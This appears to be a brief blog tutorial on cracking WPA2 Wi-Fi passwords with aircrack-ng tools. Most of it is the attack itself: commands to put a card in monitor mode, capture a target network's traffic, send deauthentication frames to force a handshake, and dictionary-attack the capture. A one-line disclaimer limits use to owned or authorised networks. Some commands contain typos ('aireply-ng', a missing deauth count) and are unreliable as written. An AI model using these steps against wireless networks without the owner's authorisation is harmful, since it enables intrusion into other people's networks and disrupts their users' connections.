Breaking Wireless WPA2

You’ll need

Verify your wireless is up,

airmon-ng start wlan0

airodump-ng mon0

Find a BSSID MAC address to become a toe (target of evaluation)

Stop the program
Gather the MAC address and Channel which you will use in the command below.

type
airodump-ng -w MyFile -c 1 –bssid MA:CA:DD:RE:SS mon0

while that is running
clone your terminal session and run
aireply-ng -0 – -a MA:CA:DD:RE:SS mon0
to send deauth
after 30 seconds, ^C out

Go back to your normal terminal session
About a minute should have passed
^C out of that program

now dictionary attack the MyFile you created.
type
aircrack-ng MyFile-01.cap -w /pentest/passwords/wordlists/darkc0de.lst

Now we wait. If your password is weak, chances are, it will be cracked here and shown to you.

Perform this on your own network or on a network you have written permission to try it on.

Here is a video that shows exactly the steps above.
